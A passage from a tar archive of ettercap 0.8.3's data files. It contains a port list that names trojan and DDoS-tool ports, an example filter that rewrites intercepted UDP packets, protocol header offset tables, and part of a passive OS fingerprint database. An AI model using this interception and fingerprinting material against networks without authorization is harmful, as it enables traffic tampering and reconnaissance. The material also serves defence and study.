freeciv 5555/tcp # rplay 5555/udp # pcanywheredata 5631/tcp # pcanywherestat 5632/tcp # pcanywherestat 5632/udp # canna 5680/tcp # Canna (Japanese Input) proshareaudio 5713/tcp # proshare conf audio proshareaudio 5713/udp # proshare conf audio prosharevideo 5714/tcp # proshare conf video prosharevideo 5714/udp # proshare conf video prosharedata 5715/tcp # proshare conf data prosharedata 5715/udp # proshare conf data prosharerequest 5716/tcp # proshare conf request prosharerequest 5716/udp # proshare conf request prosharenotify 5717/tcp # proshare conf notify prosharenotify 5717/udp # proshare conf notify vnc-http 5800/tcp # Virtual Network Computer HTTP Access, display 0 vnc-http-1 5801/tcp # Virtual Network Computer HTTP Access, display 1 vnc-http-2 5802/tcp # Virtual Network Computer HTTP Access, display 2 vnc-http-3 5803/tcp # Virtual Network Computer HTTP Access, display 3 vnc 5900/tcp # Virtual Network Computer display 0 vnc-1 5901/tcp # Virtual Network Computer display 1 vnc-2 5902/tcp # Virtual Network Computer display 2 vnc-3 5903/tcp # Virtual Network Computer display 3 ncd-pref-tcp 5977/tcp # NCD preferences tcp port ncd-diag-tcp 5978/tcp # NCD diagnostic tcp port ncd-conf-tcp 5979/tcp # NCD configuration tcp port ncd-pref 5997/tcp # NCD preferences telnet port ncd-diag 5998/tcp # NCD diagnostic telnet port ncd-conf 5999/tcp # NCD configuration telnet port X11 6000/tcp # X Window server X11:1 6001/tcp # X Window server X11:2 6002/tcp # X Window server X11:3 6003/tcp # X Window server X11:4 6004/tcp # X Window server X11:5 6005/tcp # X Window server X11:6 6006/tcp # X Window server X11:7 6007/tcp # X Window server X11:8 6008/tcp # X Window server X11:9 6009/tcp # X Window server arcserve 6050/tcp # ARCserve agent VeritasBackupExec 6101/tcp # Backup Exec UNIX and 95/98/ME Aent RETS-or-BackupExec 6103/tcp # Backup Exec Agent Accelerator and Remote Agent also sql server and cisco works blue isdninfo 6105/tcp # isdninfo isdninfo 6106/tcp # i4lmond softcm 6110/tcp # HP SoftBench CM softcm 6110/udp # HP SoftBench CM spc 6111/tcp # HP SoftBench Sub-Process Control spc 6111/udp # HP SoftBench Sub-Process Control dtspc 6112/tcp # CDE subprocess control meta-corp 6141/tcp # Meta Corporation License Manager meta-corp 6141/udp # Meta Corporation License Manager aspentec-lm 6142/tcp # Aspen Technology License Manager aspentec-lm 6142/udp # Aspen Technology License Manager watershed-lm 6143/tcp # Watershed License Manager watershed-lm 6143/udp # Watershed License Manager statsci1-lm 6144/tcp # StatSci License Manager - 1 statsci1-lm 6144/udp # StatSci License Manager - 1 statsci2-lm 6145/tcp # StatSci License Manager - 2 statsci2-lm 6145/udp # StatSci License Manager - 2 lonewolf-lm 6146/tcp # Lone Wolf Systems License Manager lonewolf-lm 6146/udp # Lone Wolf Systems License Manager montage-lm 6147/tcp # Montage License Manager montage-lm 6147/udp # Montage License Manager ricardo-lm 6148/tcp # Ricardo North America License Manager ricardo-lm 6148/udp # Ricardo North America License Manager gnutella 6346/tcp # Gnutella file sharing protocol crystalreports 6400/tcp # Seagate Crystal Reports crystalenterprise 6401/tcp # Seagate Crystal Enterprise PowerChutePLUS 6547/tcp # PowerChutePLUS 6548/tcp # PowerChutePLUS 6549/udp # netop-rc 6502/tcp # NetOp Remote Control (by Danware Data A/S) netop-rc 6502/udp # NetOp Remote Control (by Danware Data A/S) xdsxdm 6558/tcp # xdsxdm 6558/udp # analogx 6588/tcp # AnalogX HTTP proxy port irc-serv 6666/tcp # internet relay chat server irc 6667/tcp # Internet Relay Chat irc 6668/tcp # Internet Relay Chat acmsoda 6969/tcp # acmsoda 6969/udp # afs3-fileserver 7000/tcp # file server itself, msdos afs3-fileserver 7000/udp # file server itself afs3-callback 7001/tcp # callbacks to cache managers afs3-callback 7001/udp # callbacks to cache managers afs3-prserver 7002/tcp # users & groups database afs3-prserver 7002/udp # users & groups database afs3-vlserver 7003/tcp # volume location database afs3-vlserver 7003/udp # volume location database afs3-kaserver 7004/tcp # AFS/Kerberos authentication service afs3-kaserver 7004/udp # AFS/Kerberos authentication service afs3-volser 7005/tcp # volume managment server afs3-volser 7005/udp # volume managment server afs3-errors 7006/tcp # error interpretation service afs3-errors 7006/udp # error interpretation service afs3-bos 7007/tcp # basic overseer process afs3-bos 7007/udp # basic overseer process afs3-update 7008/tcp # server-to-server updater afs3-update 7008/udp # server-to-server updater afs3-rmtsys 7009/tcp # remote cache manager service afs3-rmtsys 7009/udp # remote cache manager service ups-onlinet 7010/tcp # onlinet uninterruptable power supplies ups-onlinet 7010/udp # onlinet uninterruptable power supplies realserver 7070/tcp font-service 7100/tcp # X Font Service font-service 7100/udp # X Font Service fodms 7200/tcp # FODMS FLIP fodms 7200/udp # FODMS FLIP dlip 7201/tcp # dlip 7201/udp # openmanage 7273/tcp # Dell OpenManage icb 7326/tcp # Internet Citizen's Band qaz 7597/tcp # Quaz trojan worm cucme-1 7648/udp # cucme live video/audio server cucme-2 7649/udp # cucme live video/audio server cucme-3 7650/udp # cucme live video/audio server cucme-4 7651/udp # cucme live video/audio server http-alt 8000/tcp # A common alternative http port ajp12 8007/tcp # Apache JServ Protocol 1.x ajp13 8009/tcp # Apache JServ Protocol 1.3 http-proxy 8080/tcp # Common HTTP proxy/second web server port blackice-icecap 8081/tcp # ICECap user console blackice-alerts 8082/tcp # BlackIce Alerts sent to this port https-alt 8443/tcp # Common alternative https port sun-answerbook 8888/tcp # Sun Answerbook HTTP server seosload 8892/tcp # From the new Computer Associates eTrust ACX zeus-admin 9090/tcp # Zeus admin server jetdirect 9100/tcp # HP JetDirect card DragonIDSConsole 9111/tcp # Dragon IDS Console ms-sql2000 9152/tcp # man 9535/tcp # man 9535/udp # sd 9876/tcp # Session Director sd 9876/udp # Session Director issa 9991/tcp # ISS System Scanner Agent issc 9992/tcp # ISS System Scanner Console abyss 9999/tcp # Abyss web server remote web management interface snet-sensor-mgmt 10000/tcp # SecureNet Pro Sensor https management server stel 10005/tcp # Secure telnet amanda 10080/udp # Amanda Backup Util amandaidx 10082/tcp # Amanda indexing amidxtape 10083/tcp # Amanda tape indexing pksd 11371/tcp # PGP Public Key Server cce4x 12000/tcp # ClearCommerce Engine 4.x (www.clearcommerce.com) NetBus 12345/tcp # NetBus backdoor trojan or Trend Micro Office Scan NetBus 12346/tcp # NetBus backdoor trojan VeritasNetbackup 13701/tcp # vmd server VeritasNetbackup 13702/tcp # ascd server VeritasNetbackup 13705/tcp # tl8cd server VeritasNetbackup 13706/tcp # odld server VeritasNetbackup 13708/tcp # vtlcd server VeritasNetbackup 13709/tcp # ts8d server VeritasNetbackup 13710/tcp # tc8d server VeritasNetbackup 13711/tcp # server VeritasNetbackup 13712/tcp # tc4d server VeritasNetbackup 13713/tcp # tl4d server VeritasNetbackup 13714/tcp # tsdd server VeritasNetbackup 13715/tcp # tshd server VeritasNetbackup 13716/tcp # tlmd server VeritasNetbackup 13717/tcp # tlhcd server VeritasNetbackup 13718/tcp # lmfcd server VeritasNetbackup 13720/tcp # bprd server VeritasNetbackup 13721/tcp # bpdbm server VeritasNetbackup 13722/tcp # bpjava-msvc client VeritasNetbackup 13782/tcp # bpcd client VeritasNetbackup 13783/tcp # vopied client swgps 15126/tcp # Nortel Java S/WGPS Global Payment Solutions for US credit card authorizations subseven 16959/tcp # Subseven trojan isode-dua 17007/tcp # isode-dua 17007/udp # wdbrpc 17185/udp # vxWorks WDB remote debugging ONCRPC kuang2 17300/tcp # Kuang2 backdoor biimenu 18000/tcp # Beckman Instruments, Inc. biimenu 18000/udp # Beckman Instruments, Inc. opsec_cvp 18181/tcp # Check Point OPSEC opsec_ufp 18182/tcp # Check Point OPSEC opsec_sam 18183/tcp # Check Point OPSEC opsec_lea 18184/tcp # Check Point OPSEC opsec_omi 18185/tcp # Check Point OPSEC opsec_ela 18187/tcp # Check Point OPSEC btx 20005/tcp # xcept4 (Interacts with German Telekom's CEPT videotext service) wnn6 22273/tcp # Wnn6 (Japanese input) wnn6_Cn 22289/tcp # Wnn6 (Chinese input) wnn6_Kr 22305/tcp # Wnn6 (Korean input) wnn6_Tw 22321/tcp # Wnn6 (Taiwanse input) hpnpd 22370/tcp # Hewlett-Packard Network Printer daemon hpnpd 22370/udp # Hewlett-Packard Network Printer daemon quake 26000/udp # Quake game server wnn6_DS 26208/tcp # Wnn6 (Dserver) hexen2 26900/udp # Hexen 2 game server halflife 27015/udp # Half-life game server subseven 27374/tcp # Subseven Windows trojan Trinoo_Bcast 27444/udp # Trinoo distributed attack tool Master quakeworld 27500/udp # Quake world Trinoo_Master 27665/tcp # Trinoo distributed attack tool Master server control port quake2 27910/udp # Quake 2 game server quake3 27960/udp # Quake 3 Arena Server heretic2 28910/udp # Heretic 2 game server Trinoo_Register 31335/udp # Trinoo distributed attack tool Bcast Daemon registration port BackOrifice 31337/udp # cDc Back Orifice remote admin tool Elite 31337/tcp # Sometimes interesting stuff can be found here sometimes-rpc3 32770/tcp # Sometimes an RPC port on my Solaris box sometimes-rpc4 32770/udp # Sometimes an RPC port on my Solaris box sometimes-rpc5 32771/tcp # Sometimes an RPC port on my Solaris box (rusersd) sometimes-rpc6 32771/udp # Sometimes an RPC port on my Solaris box (rusersd) sometimes-rpc7 32772/tcp # Sometimes an RPC port on my Solaris box (status) sometimes-rpc8 32772/udp # Sometimes an RPC port on my Solaris box (status) sometimes-rpc9 32773/tcp # Sometimes an RPC port on my Solaris box (rquotad) sometimes-rpc10 32773/udp # Sometimes an RPC port on my Solaris box (rquotad) sometimes-rpc11 32774/tcp # Sometimes an RPC port on my Solaris box (rusersd) sometimes-rpc12 32774/udp # Sometimes an RPC port on my Solaris box (rusersd) sometimes-rpc13 32775/tcp # Sometimes an RPC port on my Solaris box (status) sometimes-rpc14 32775/udp # Sometimes an RPC port on my Solaris box (status) sometimes-rpc15 32776/tcp # Sometimes an RPC port on my Solaris box (sprayd) sometimes-rpc16 32776/udp # Sometimes an RPC port on my Solaris box (sprayd) sometimes-rpc17 32777/tcp # Sometimes an RPC port on my Solaris box (walld) sometimes-rpc18 32777/udp # Sometimes an RPC port on my Solaris box (walld) sometimes-rpc19 32778/tcp # Sometimes an RPC port on my Solaris box (rstatd) sometimes-rpc20 32778/udp # Sometimes an RPC port on my Solaris box (rstatd) sometimes-rpc21 32779/tcp # Sometimes an RPC port on my Solaris box sometimes-rpc22 32779/udp # Sometimes an RPC port on my Solaris box sometimes-rpc23 32780/tcp # Sometimes an RPC port on my Solaris box sometimes-rpc24 32780/udp # Sometimes an RPC port on my Solaris box sometimes-rpc25 32786/tcp # Sometimes an RPC port (mountd) sometimes-rpc26 32786/udp # Sometimes an RPC port sometimes-rpc27 32787/tcp # Sometimes an RPC port dmispd (DMI Service Provider) sometimes-rpc28 32787/udp # Sometimes an RPC port sygatefw 39213/udp # Sygate Firewall management port version 3.0 build 521 and above reachout 43188/tcp tinyfw 44334/tcp # tiny personal firewall admin port coldfusion-auth 44442/tcp # ColdFusion Advanced Security/Siteminder Authentication Port (by Allaire/Netegrity) coldfusion-auth 44443/tcp # ColdFusion Advanced Security/Siteminder Authentication Port (by Allaire/Netegrity) ciscopop 45000/udp # Cisco Postoffice Protocol for Cisco Secure IDS dbbrowse 47557/tcp # Databeam Corporation dbbrowse 47557/udp # Databeam Corporation compaqdiag 49400/tcp # Compaq Web-based management bo2k 54320/tcp # Back Orifice 2K Default Port bo2k 54321/udp # Back Orifice 2K Default Port netprowler-manager 61439/tcp netprowler-manager2 61440/tcp netprowler-sensor 61441/tcp pcanywhere 65301/tcp ettercap-0.8.3/share/etter.filter.pcre0000644000175000017500000000303013505247364017554 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.filter.pcre -- filter source file # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ ## # This file contains some example of Perl Compatible Regulare Expressions. # (see http://www.perldoc.com/perl5.8.0/pod/perlre.html) # # The pcre support is optional in ettercap and will be enables only if you # have the libpcre installed. # the compiler will warn you if you try to compile a filter that contains # pcre expressions but you don't have libpcre. ## # swap first two words of a udp packet if (ip.proto == UDP) { pcre_regex(DATA.data, "^([^ ]*) *([^ ]*)", "$2 $1"); } # matches 'foo' and the beginning of the line, then a word, then 'bar' if (pcre_regex(DECODED.data, "^foo [^ ]+ bar")) { msg("found\n"); } ettercap-0.8.3/share/etterfilter.tbl0000644000175000017500000000731313505247364017336 0ustar koeppeakoeppea############################################################################ # # # etterfilter -- etterfilter.tbl -- virtual pointers for etterfilter # # # # Copyright (C) ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # # ############################################################################ # # ethernet is at layer 2 # [eth][2] dst:6 = 0 src:6 = 6 proto:2 = 12 # # token ring is at layer 2 # [tr][2] ac:1 = 0 fc:1 = 1 dst:6 = 2 src:6 = 8 dsap:1 = 14 ssap:1 = 15 control:1 = 16 orgcode:1 = 17 proto:2 = 20 # # fddi is at layer 2 # [fddi][2] fc:1 = 0 dst:6 = 1 src:6 = 7 dsap:1 = 13 ssap:1 = 14 control:1 = 15 orgcode:1 = 16 # split proto because it is not aligned proto1:1 = 19 proto2:1 = 20 # # wireless header at layer 1 / 2 # [wifi][2] type:2 = 0 ttl:2 = 2 dst:6 = 4 src:6 = 10 bssid:1 = 16 seq:2 = 17 # # we identiy arp protocol at layer 3 # because it is onto a layer 2 (ethernet) # [arp][3] hw.fmt:2 = 0 proto.fmt:2 = 2 hw.len:1 = 4 proto.len:1 = 5 op:2 = 6 src.hw:6 = 8 src.addr:4 = 12 dst.hw:6 = 16 dst.addr:4 = 22 # # IP is at layer 3 # ihl and version are 4 bit each, but we have # to collate them in a single byte. # [ip][3] ihl_ver:1 = 0 tos:1 = 1 len:2 = 2 id:2 = 4 frags:2 = 6 ttl:1 = 8 proto:1 = 9 csum:2 = 10 src:4 = 12 dst:4 = 16 # IPv6 is at layer 3 # version ,traffic class and flow label are 4 bit and 8 bit and 20 bit, but we have # to collate them in 4 bytes # [ipv6][3] ver_tc_fl:4 = 0 # Version (4 bit), Traffic Class (8 bit), Flow Label (20 bit) len:2 = 4 # Payload length nh:1 = 6 # Next header (a.k.a. proto e.g. TCP, UDP) hl:1 = 7 # Hop limit (a.k.a. TTL in IPv4) src:16 = 8 dst:16 = 24 # # we identify icmp protocol at layer 4 # because it is onto a layer 3 (ip) # id,seq overlap gw and mtu (they are in a union) # [icmp][4] type:1 = 0 code:1 = 1 csum:2 = 2 id:2 = 4 seq:2 = 6 gw:4 = 4 mtu:2 = 6 # # GRE is at layer 4 # [gre][4] flags:2 = 0 proto:2 = 2 # # ESP is at layer 4 # [esp][4] spi:4 = 0 seq:4 = 4 # # tcp is at layer 4 # [tcp][4] src:2 = 0 dst:2 = 2 seq:4 = 4 ack:4 = 8 offset:1 = 12 flags:1 = 13 win:2 = 14 csum:2 = 16 urg:2 = 18 # # udp is at layer 4 # [udp][4] src:2 = 0 dst:2 = 2 len:2 = 4 csum:2 = 6 # # special case for tcp/udp payload. # it is parsed as layer 5 # # the size is set to 1 to represent the first byte, # but 'data' is the entire buffer # [DATA][5] data:1 = 0 # # some dissectors will decode/decrypt the data # into a special buffer displayed to the user. # if you want to search in this buffer, use this table. # # the size is set to 1 to represent the first byte, # but 'data' is the entire buffer # [DECODED][6] data:1 = 0 # EOF ettercap-0.8.3/share/etter.finger.os0000644000175000017500000025162713505247364017252 0ustar koeppeakoeppea############################################################################ # # # ettercap -- etter.finger.os -- passive OS fingerprint database # # # # Copyright (C) 2001-2004 ALoR & NaGA # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # ############################################################################ # # # Total entries : 1765 # # # ############################################################################ # # # The fingerprint database has the following structure: # # # # WWWW:MSS:TTL:WS:S:N:D:T:F:LEN:OS # # # # WWWW: 4 digit hex field indicating the TCP Window Size # # MSS : 4 digit hex field indicating the TCP Option Maximum Segment Size # # if omitted in the packet or unknown it is "_MSS" # # TTL : 2 digit hex field indicating the IP Time To Live # # WS : 2 digit hex field indicating the TCP Option Window Scale # # if omitted in the packet or unknown it is "WS" # # S : 1 digit field indicating if the TCP Option SACK permitted is true # # N : 1 digit field indicating if the TCP Options contain a NOP # # D : 1 digit field indicating if the IP Don't Fragment flag is set # # T : 1 digit field indicating if the TCP Timestamp is present # # F : 1 digit ascii field indicating the flag of the packet # # S = SYN # # A = SYN + ACK # # LEN : 2 digit hex field indicating the length of the packet # # if irrilevant or unknown it is "LT" # # OS : an ascii string representing the OS # # # # IF YOU FIND A NEW FINGERPRING, PLEASE MAIL IT US WITH THE RESPECTIVE OS # # or use the appropriate form at: # # http://ettercap.sourceforge.net/index.php?s=stuff&p=fingerprint # # # # TO GET THE LATEST DATABASE: # # # # ettercap -U # # # ############################################################################ 0000:05B4:80:WS:0:0:1:0:S:2C:Novell netware 5.00 0000:_MSS:80:WS:0:0:0:0:A:LT:3Com Access Builder 4000 7.2 0000:_MSS:FF:WS:0:0:0:0:A:28:Windows XP 0008:_MSS:40:WS:0:0:0:0:S:28:Red Hat Linux 7.2 Kernel 2.4.7-10 0010:_MSS:40:WS:0:0:0:0:S:28:Gentoo Linux (Kernel 2.6.6-rc1) 0017:05B4:40:00:0:1:0:1:A:3C:Gestetner printer 0040:_MSS:80:WS:0:0:0:0:A:LT:Gold Card Ethernet Interface Firm. Ver. 3.19 (95.01.16) 0046:_MSS:80:WS:0:0:0:0:A:LT:Cyclades PathRouter 0096:_MSS:80:WS:0:0:0:0:A:LT:Cyclades PathRouter V 1.2.4 0100:0218:FF:WS:0:0:0:0:A:2C:Allied Hub 0100:_MSS:80:WS:0:0:0:0:A:LT:Allied Telesyn AT-S10 version 3.0 on an AT-TS24TR hub 0100:_MSS:80:WS:0:0:1:0:A:LT:Xyplex Network9000 0109:0109:40:00:0:1:0:1:A:3C:Debian Potato (2.2), Linux 2.2.17 0200:0000:40:WS:0:0:0:0:S:LT:Linux 2.0.35 - 2.0.37 0200:0200:40:00:0:1:0:0:A:30:Linux 0200:0200:40:WS:0:0:0:0:A:2C:Ascend MAX 1800 0200:05B4:40:00:0:0:0:0:S:2C:Linux 2.0.35 - 2.0.38 0200:05B4:40:00:0:0:0:0:S:LT:Linux 2.0.38 0200:05B4:40:34:0:0:0:0:S:LT:Linux 2.0.33 0200:05B4:40:WS:0:0:0:0:S:2C:Linux 2.0.34-38 0200:05B4:40:WS:0:0:0:0:S:LT:Linux 2.0.36 0200:05B4:FF:WS:0:0:0:0:A:2C:Router 3Com 812 ADSL 0200:_MSS:40:WS:0:0:0:0:S:28:Windows XP 0200:_MSS:40:WS:0:0:1:0:A:28:ESESA TCP/IP Stack 0200:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.32-34 0200:_MSS:80:00:0:1:0:0:A:LT:Bay Networks BLN-2 Network Router or ASN Processor rev 9 0200:_MSS:80:00:0:1:0:1:A:LT:Bay Networks BLN-2 Network Router or ASN Processor rev 9 0200:_MSS:80:WS:0:0:0:0:A:LT:3COM / USR TotalSwitch Firmware: 02.02.00R 0212:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.32-34 0212:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 0212:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 0212:_MSS:80:WS:0:0:0:0:A:LT:CacheOS (CacheFlow 2000 proxy cache) 0212:_MSS:80:WS:0:0:1:0:A:LT:Linux 2.2.5 - 2.2.13 SMP 0212:_MSS:80:WS:0:1:0:0:A:LT:NetBSD 1.4 running on a SPARC IPX 0212:_MSS:80:WS:0:1:0:1:A:LT:NetBSD 1.4 running on a SPARC IPX 0212:_MSS:80:WS:0:1:1:0:A:LT:NetBSD 1.4 / Generic mac68k (Quadra 610) 0212:_MSS:80:WS:0:1:1:1:A:LT:NetBSD 1.4 / Generic mac68k (Quadra 610) 0218:0218:40:00:0:1:0:1:A:LT:NetBSD 0218:0218:40:WS:0:0:0:0:A:2C:Windows 98 0244:_MSS:80:WS:0:0:0:0:A:LT:Cyclades PathRouter/PC 03CA:_MSS:80:WS:0:0:0:0:A:LT:MPE/iX 5.5 03E0:0550:40:05:1:1:1:1:S:LT:Windows 2000 03E0:05B4:20:05:1:1:1:1:S:40:Windows 2000 server 03F2:_MSS:80:00:0:0:0:0:A:LT:Lexmark Optra S Printer 03F2:_MSS:80:WS:0:0:0:0:A:LT:Lexmark Optra S Printer 03F6:0218:FF:WS:0:0:0:0:A:2C:Lexmark Optra SC Printer 03F6:_MSS:80:WS:0:0:0:0:A:LT:Lexmark Optra S Printer 0400:0109:40:10:0:1:0:1:S:3C:Linux 0400:0200:FF:WS:0:0:0:0:A:2C:Zyxel Prestige 10 0400:0218:FF:WS:0:0:0:0:A:2C:3Com Superstack II 0400:0400:20:WS:0:0:0:0:A:2C:Windows 2000 0400:0400:40:00:1:1:0:1:A:3C:ElsaLanCom (SoHo ISDN Router) 0400:0400:80:WS:0:0:0:0:A:2C:Prime SharePH-1UNW (hardware printserver) 0400:0400:80:WS:0:0:0:0:S:2C:NCSA 2.3.07 0400:0500:80:WS:0:0:0:0:A:2C:ITC Version i7.13 of 02-07-99 (embedded device) 0400:0594:FF:WS:0:0:0:0:A:2C:3Com SuperStack 3 Switch 4400 0400:059C:FF:WS:0:0:0:0:A:18:3Com SuperStack 3300xm version 2.71 prom 1.00 0400:059C:FF:WS:0:0:0:0:A:2C:3Com SuperStack II 3300 0400:05A4:FF:WS:0:0:0:0:A:2C:3Com SuperStack II 3000 0400:05B4:40:00:0:1:0:1:S:3C:Windows 44 0400:05B4:40:WS:0:0:0:0:A:2C:FORE ES-2810 Switch 0400:05B4:FF:WS:0:0:0:0:A:2C:3Com 812 ADSL ROUTER 0400:05C8:20:WS:0:0:0:0:A:2C:Nortel BayStack Access Node 0400:0901:40:10:0:1:0:1:S:3C:Mac OS X 102.4 0400:_MSS:40:WS:0:0:0:0:S:28:Linux 2.4.18 0400:_MSS:80:00:0:1:0:0:A:LT:Bay Networks BLN-2 Network Router or ASN Processor rev 9 0400:_MSS:80:00:0:1:0:1:A:LT:Bay Networks BLN-2 Network Router or ASN Processor rev 9 0400:_MSS:80:WS:0:0:0:0:A:LT:3com Office Connect Router 810 0400:_MSS:80:WS:0:0:1:0:A:LT:Aironet 630-2400 V3.3P Wireless LAN bridge 0420:0114:40:00:1:1:1:1:A:3C:Linux 2.4.18-rc4 0424:_MSS:80:WS:0:0:0:0:A:LT:Intel InBusiness Print Station 0430:_MSS:80:WS:0:0:0:0:A:LT:PacketShaper 4000 v4.1.3b2 2000-04-05 052A:052A:40:00:1:1:0:1:A:3C:Debian Potato (2.2), Linux 2.2.20 0534:0534:80:WS:0:0:1:0:A:2C:Netware 0550:0550:40:WS:0:0:0:0:A:2C:Linux 2.4 0564:0564:40:00:1:1:1:1:A:3C:Linux kernel 2.4 0564:0564:40:WS:0:0:0:0:A:2C:Linux 0564:0564:40:WS:1:0:1:1:A:38:Linux 2.4 0564:0564:80:WS:1:1:1:0:A:LT:Windows 2000 0564:6405:40:00:0:1:1:1:A:3C:Solaris 0564:6405:40:WS:0:1:1:1:A:38:Mac OS 0578:0578:08:WS:0:0:0:0:A:2C:Minix 16-bit/Intel 2.0.3 0578:0578:40:WS:0:0:0:0:A:2C:CVP Telsey 0578:0578:40:WS:0:0:0:0:S:2C:Windows 2000 0578:_MSS:40:WS:0:0:0:0:A:28:Elsa Router 0578:_MSS:80:WS:0:0:0:0:A:LT:Minix 32-bit/Intel 2.0.0 0584:0584:80:00:1:1:1:1:A:3C:Red Hat Linux 8.0 (Psyche) 0584:0584:FF:00:0:1:1:1:A:3C:OpenBSD 05AC:0218:40:WS:0:0:0:0:A:2C:AXIS Printer 05B4:03E8:40:00:0:1:1:1:A:3C:Mac OS X 10.3.8 05B4:052A:40:00:0:1:0:1:A:3C:NetBSD 1.6.1 05B4:052A:40:00:1:1:0:1:A:3C:Debian Sarge, Linux 2.4.24-1 05B4:0564:40:01:0:1:1:1:A:3C:FreeBSD 5.1-RELEASE 05B4:0564:40:WS:1:1:0:0:A:30:Red Hat Linux 9.0 05B4:0564:80:WS:1:1:0:0:A:30:Windows 2000 05B4:05B4:20:WS:0:0:0:0:A:2C:Windows XP 05B4:05B4:40:00:0:1:0:1:S:3C:HP LaserJet 4550 Printer 05B4:05B4:40:00:0:1:1:1:A:3C:FreeBSD 05B4:05B4:40:00:1:1:1:1:A:3C:Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 05B4:05B4:40:00:1:1:1:1:A:40:SunOS 5.8 05B4:05B4:40:01:1:1:1:1:A:40:Solaris 8 05B4:05B4:40:WS:1:1:1:0:A:30:Windows 2000 Server 05B4:05B4:40:WS:1:1:1:0:S:30:Windows XP SP1 05B4:05B4:80:WS:0:0:0:0:A:2C:Zebra ZPL 05B4:05B4:80:WS:1:1:1:0:A:30:Windows 2000 Server 05B4:05B4:FF:00:1:1:1:1:A:40:Solaris 7 05B4:05B4:FF:WS:0:0:0:0:A:2C:FreeBSD/i386 05B4:B405:40:00:0:1:1:1:A:LT:Red Hat 7.1 (kernel 2.4.3) 05B4:B405:80:00:0:1:1:1:A:LT:Windows 2000 Server 05B4:_MSS:80:00:0:1:0:0:A:LT:HP JetDirect Card (J4169A) in an HP LaserJet 8150 05B4:_MSS:80:WS:0:0:0:0:A:LT:TOPS-20 Monitor 7(102540)-1,TD-1 05B4:_MSS:80:WS:0:1:1:0:A:LT:Network Appliance NetCache 5.1D4 05B4:_MSS:80:WS:0:1:1:1:A:LT:Network Appliance NetCache 5.1D4 05DC:0FD8:40:WS:0:0:0:0:A:2C:D-Link dsl604 wireless router 05DC:_MSS:80:WS:0:0:0:0:A:LT:Gandalf LanLine Router 05EA:05EA:20:WS:0:0:0:0:A:2C:Pocket pc 2003 0600:0300:20:WS:0:0:0:0:S:2C:Chase IOLAN Terminal Server v3.3.09 - TCP 0600:_MSS:80:WS:0:0:0:0:A:LT:Chase IOLAN Terminal Server v3.5.02 CDi 0640:05B4:40:WS:0:0:0:0:A:2C:APC MasterSwitch Network Power Controller 0640:_MSS:80:WS:0:0:0:0:A:LT:APC MasterSwitch Network Power Controller 0648:0218:40:WS:0:0:0:0:A:2C:HP Printer 0648:_MSS:80:WS:0:0:0:0:A:LT:FastComm FRAD F9200-DS-DNI -- Ver. 4.2.3A 06C2:_MSS:80:WS:0:0:0:0:A:LT:Cyclades PathRAS Remote Access Server v1.1.8 - 1.3.12 0700:_MSS:80:00:0:0:0:0:A:LT:Lantronix ETS16P Version V3.5/2(970721) 0700:_MSS:80:WS:0:0:0:0:A:LT:Lantronix ETS16P Version V3.5/2(970721) 073F:_MSS:80:00:0:0:0:0:A:LT:Novell NetWare 3.12 or 386 TCP/IP 073F:_MSS:80:WS:0:0:0:0:A:LT:CLIX R3.1 Vr.7.6.20 6480 07D0:_MSS:80:00:0:0:1:0:A:LT:Novell NetWare 3.12 - 5.00 07D0:_MSS:80:WS:0:0:1:0:A:LT:Novell NetWare 3.12 - 5.00 0800:0109:40:10:0:1:0:1:S:3C:Linux 0800:0200:FF:WS:0:0:0:0:A:2C:Cisco 0800:0578:FF:WS:0:0:0:0:A:2C:NetGear Hardware Router 0800:_MSS:40:WS:0:0:0:0:A:28:Connexa 0800:_MSS:40:WS:0:0:0:0:S:28:Window 2000 SP3 0800:_MSS:80:00:0:0:0:0:A:LT:KA9Q 0800:_MSS:80:00:0:0:0:1:A:LT:KA9Q 0800:_MSS:80:WS:0:0:0:0:A:LT:3Com Access Builder 4000 7.2 0800:_MSS:80:WS:0:0:1:0:A:LT:HP Procurve Routing Switch 9304M 0808:_MSS:80:WS:0:0:0:0:A:LT:Siemens HICOM 300 Phone switch (WAML LAN card) 0834:0578:FF:WS:0:0:0:0:A:2C:BeWan 2.3.6 0834:7805:FF:WS:0:0:0:0:A:2C:Vigor 2900G 0848:_MSS:80:WS:0:0:0:0:A:LT:Intergraph Workstation (2000 Series) running CLiX R3.1 0860:0218:40:00:1:1:1:0:S:30:Windows 9x 0860:0218:40:00:1:1:1:0:S:3C:Windows 9x 0860:0218:40:00:1:1:1:0:S:LT:Windows 9x 0860:0218:40:WS:0:0:0:0:A:2C:Windows 98 0860:0218:80:WS:0:0:1:0:A:2C:Windows 98 0860:0218:FF:WS:0:0:0:0:S:LT:Cisco IGS 3000 IOS 11.x(16), 2500 IOS 11.2(3)P 0860:05B4:40:WS:0:0:1:0:A:2C:Windows 98 0860:05B4:40:WS:1:1:1:0:S:30:Windows 98 0860:05B4:80:00:0:1:1:1:A:3C:Windows ME 0860:05B4:FF:WS:0:0:0:0:A:LT:IOS Version 10.3(15) - 11.1(20) 0860:_MSS:80:00:0:0:0:0:A:LT:HP JetDirect Firmware Rev. H.06.00 0860:_MSS:80:00:0:1:1:0:A:LT:Windows NT4 / Win95 / Win98 0860:_MSS:80:00:0:1:1:1:A:LT:Windows NT4 / Win95 / Win98 0860:_MSS:80:WS:0:0:0:0:A:LT:Chase IOLan Terminal Server 09C8:02F8:FF:WS:0:0:0:0:A:2C:Windows 0A28:_MSS:80:WS:0:0:0:0:A:LT:Apple Color LaserWrite 600 Printer 0AF0:0578:80:WS:1:1:1:0:A:30:Windows 2000 0B18:058C:40:WS:0:0:0:0:S:2C:HNC 91849 0B63:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.19 - 2.2.17 0B63:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.19 - 2.2.17 